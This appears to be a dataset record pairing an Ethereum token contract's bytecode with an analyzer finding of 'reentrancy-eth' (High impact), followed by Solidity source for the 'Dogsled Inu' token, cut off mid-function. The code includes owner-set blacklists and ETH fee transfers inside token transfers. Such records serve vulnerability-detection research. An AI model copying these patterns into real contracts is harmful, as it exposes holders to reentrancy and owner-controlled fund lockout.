565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b600080600060065490506000662386f26fc1000090506128bf662386f26fc1000060065461259390919063ffffffff16565b8210156128dc57600654662386f26fc100009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122062396118365127a3214b7d79edd2f7d4aeda1a8ab86d98a042e811f9a9cfb35e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,411 |
0x7c1ed0bcf8f7c178e22b0e488c427f5756f27991
|
/**
*Submitted for verification at Etherscan.io on 2021-06-13
*/
//Telegram : https://t.me/dogsledinu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DogsledInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Dogsled Inu";
string private constant _symbol = 'SLED';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
